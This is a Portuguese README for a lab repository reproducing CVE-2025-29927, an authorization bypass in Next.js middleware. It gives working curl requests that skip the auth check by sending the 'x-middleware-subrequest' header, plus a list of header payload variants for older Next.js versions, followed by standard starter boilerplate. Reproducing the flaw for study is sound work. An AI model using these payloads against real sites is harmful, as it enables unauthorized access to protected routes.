
vulnerable-nextjs-14-CVE-2025-29927
Este repositório é uma reprodução da vulnerabilidade CVE-2025-29927 no pacote next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 vezes no cabeçalho especial x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
As versões 12 e 13 do Next.js utilizavam uma convenção de nomenclatura diferente para o arquivo de middleware (_middleware.js), que foi alterada para middleware.js no Next.js 14. Essa vulnerabilidade pode ser explorada em versões antigas usando o arquivo _middleware.js.
Por exemplo, os seguintes payloads seriam aplicáveis, dependendo da versão do Next.js e da sua convenção de roteamento:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versões do Next.js 12.2 com o arquivo middleware.js na raiz da aplicação, não dentro do diretório pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para versões do Next.js 11 até 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPrimeiro, execute o servidor de desenvolvimento:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Abra http://localhost:3000 no seu navegador para ver o resultado.
Você pode começar a editar a página modificando o app/page.js. A página é atualizada automaticamente conforme você edita o arquivo.
Este projeto utiliza next/font para otimizar e carregar automaticamente a Geist, uma nova família de fontes para a Vercel.
Para saber mais sobre o Next.js, confira os seguintes recursos:
Você pode conferir o repositório do Next.js no GitHub - seus comentários e contribuições são bem-vindos!
A maneira mais fácil de implantar sua aplicação Next.js é usar a Plataforma Vercel dos criadores do Next.js.
Consulte nossa documentação de implantação do Next.js para mais detalhes.